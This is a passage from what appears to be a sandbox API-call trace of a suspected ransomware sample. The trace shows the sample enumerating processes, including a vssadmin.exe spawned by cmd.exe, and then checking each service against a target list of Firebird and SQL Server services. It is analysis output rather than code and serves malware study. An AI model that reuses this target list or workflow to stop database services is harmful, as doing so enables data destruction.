(lpString="nonprofit top.exe") returned 17 [0133.731] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0133.732] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0133.732] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0133.733] lstrlenW (lpString="accused.exe") returned 11 [0133.733] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0133.733] lstrlenW (lpString="governance.exe") returned 14 [0133.733] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0133.734] lstrlenW (lpString="old.exe") returned 7 [0133.734] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0133.735] lstrlenW (lpString="xi cg.exe") returned 9 [0133.735] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0133.735] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0133.735] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0133.736] lstrlenW (lpString="burlington.exe") returned 14 [0133.736] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0133.737] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0133.737] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0133.737] lstrlenW (lpString="buildings.exe") returned 13 [0133.737] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0133.738] lstrlenW (lpString="predictions_took.exe") returned 20 [0133.738] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0133.738] lstrlenW (lpString="carry_dns.exe") returned 13 [0133.739] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0133.739] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0133.739] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.740] lstrlenW (lpString="svchost.exe") returned 11 [0133.740] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0133.740] lstrlenW (lpString="sppsvc.exe") returned 10 [0133.740] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.741] lstrlenW (lpString="svchost.exe") returned 11 [0133.741] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0133.742] lstrlenW (lpString="msiexec.exe") returned 11 [0133.742] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0133.743] lstrlenW (lpString="cmd.exe") returned 7 [0133.743] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0133.743] lstrlenW (lpString="conhost.exe") returned 11 [0133.743] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0133.744] lstrlenW (lpString="vssadmin.exe") returned 12 [0133.744] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0133.749] lstrlenW (lpString="VSSVC.exe") returned 9 [0133.749] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.749] lstrlenW (lpString="svchost.exe") returned 11 [0133.749] Process32NextW (in: hSnapshot=0x1f0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0133.750] CloseHandle (hObject=0x1f0) returned 1 [0133.750] Sleep (dwMilliseconds=0x1f4) [0134.259] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c160 [0134.259] EnumServicesStatusExW (in: hSCManager=0x52c160, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0134.260] GetLastError () returned 0xea [0134.260] EnumServicesStatusExW (in: hSCManager=0x52c160, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de958, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de958, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0134.260] CloseServiceHandle (hSCObject=0x52c160) returned 1 [0134.260] lstrlenW (lpString="Appinfo") returned 7 [0134.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0134.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0134.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0134.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0134.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0134.261] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0134.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.261] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0134.261] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0134.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0134.261] lstrlenW (lpString="AudioSrv") returned 8 [0134.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0134.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0134.261] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0134.261] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0134.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0134.261] lstrlenW (lpString="BFE") returned 3 [0134.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0134.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0134.261] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0134.261] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0134.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0134.261] lstrlenW (lpString="CryptSvc") returned 8 [0134.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0134.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0134.261] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0134.261] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0134.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0134.261] lstrlenW (lpString="CscService") returned 10 [0134.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0134.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0134.261] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0134.262] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0134.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0134.262] lstrlenW (lpString="DcomLaunch") returned 10 [0134.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.262] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0134.262] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0134.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0134.262] lstrlenW (lpString="Dhcp") returned 4 [0134.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0134.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0134.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0134.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0134.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0134.262] lstrlenW (lpString="Dnscache") returned 8 [0134.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0134.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0134.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0134.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0134.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0134.262] lstrlenW (lpString="DPS") returned 3 [0134.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0134.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0134.262] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0134.262] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0134.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0134.262] lstrlenW (lpString="eventlog") returned 8 [0134.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0134.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0134.262] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0134.262] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0134.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0134.262] lstrlenW (lpString="EventSystem") returned 11 [0134.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0134.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0134.263] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0134.263] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0134.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0134.263] lstrlenW (lpString="FontCache") returned 9 [0134.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0134.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0134.263] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0134.263] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0134.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0134.263] lstrlenW (lpString="gpsvc") returned 5 [0134.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0134.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0134.263] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0134.263] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0134.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0134.263] lstrlenW (lpString="iphlpsvc") returned 8 [0134.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0134.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0134.263] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0134.263] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0134.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0134.263] lstrlenW (lpString="LanmanServer") returned 12 [0134.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0134.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0134.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0134.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0134.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0134.263] lstrlenW (lpString="LanmanWorkstation") returned 17 [0134.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0134.264] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0134.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0134.264] lstrlenW (lpString="lmhosts") returned 7 [0134.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0134.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0134.264] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0134.264] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0134.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0134.264] lstrlenW (lpString="MMCSS") returned 5 [0134.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0134.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0134.264] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0134.264] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0134.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0134.264] lstrlenW (lpString="MpsSvc") returned 6 [0134.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0134.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0134.264] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0134.264] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0134.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0134.264] lstrlenW (lpString="Netman") returned 6 [0134.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0134.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0134.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0134.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0134.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0134.264] lstrlenW (lpString="netprofm") returned 8 [0134.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0134.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0134.264] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0134.264] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0134.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0134.264] lstrlenW (lpString="NlaSvc") returned 6 [0134.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0134.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0134.265] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0134.265] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0134.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0134.265] lstrlenW (lpString="nsi") returned 3 [0134.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0134.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0134.265] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0134.265] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0134.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0134.265] lstrlenW (lpString="PcaSvc") returned 6 [0134.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0134.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0134.265] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0134.265] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0134.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0134.265] lstrlenW (lpString="PlugPlay") returned 8 [0134.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0134.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0134.265] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0134.265] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0134.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0134.265] lstrlenW (lpString="Power") returned 5 [0134.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0134.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0134.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0134.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0134.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0134.265] lstrlenW (lpString="ProfSvc") returned 7 [0134.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0134.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0134.265] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0134.265] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0134.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0134.266] lstrlenW (lpString="RpcEptMapper") returned 12 [0134.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.266] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0134.266] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0134.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0134.266] lstrlenW (lpString="RpcSs") returned 5 [0134.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0134.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0134.266] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0134.266] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0134.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0134.266] lstrlenW (lpString="SamSs") returned 5 [0134.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0134.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0134.266] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0134.266] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0134.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0134.266] lstrlenW (lpString="Schedule") returned 8 [0134.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0134.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0134.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0134.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0134.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0134.266] lstrlenW (lpString="SENS") returned 4 [0134.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0134.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0134.266] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0134.266] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0134.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0134.266] lstrlenW (lpString="ShellHWDetection") returned 16 [0134.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.267] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0134.267] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0134.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0134.267] lstrlenW (lpString="Spooler") returned 7 [0134.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0134.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0134.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0134.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0134.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0134.267] lstrlenW (lpString="sppsvc") returned 6 [0134.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0134.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0134.267] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0134.267] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0134.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0134.267] lstrlenW (lpString="swprv") returned 5 [0134.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0134.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0134.267] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0134.267] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0134.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0134.267] lstrlenW 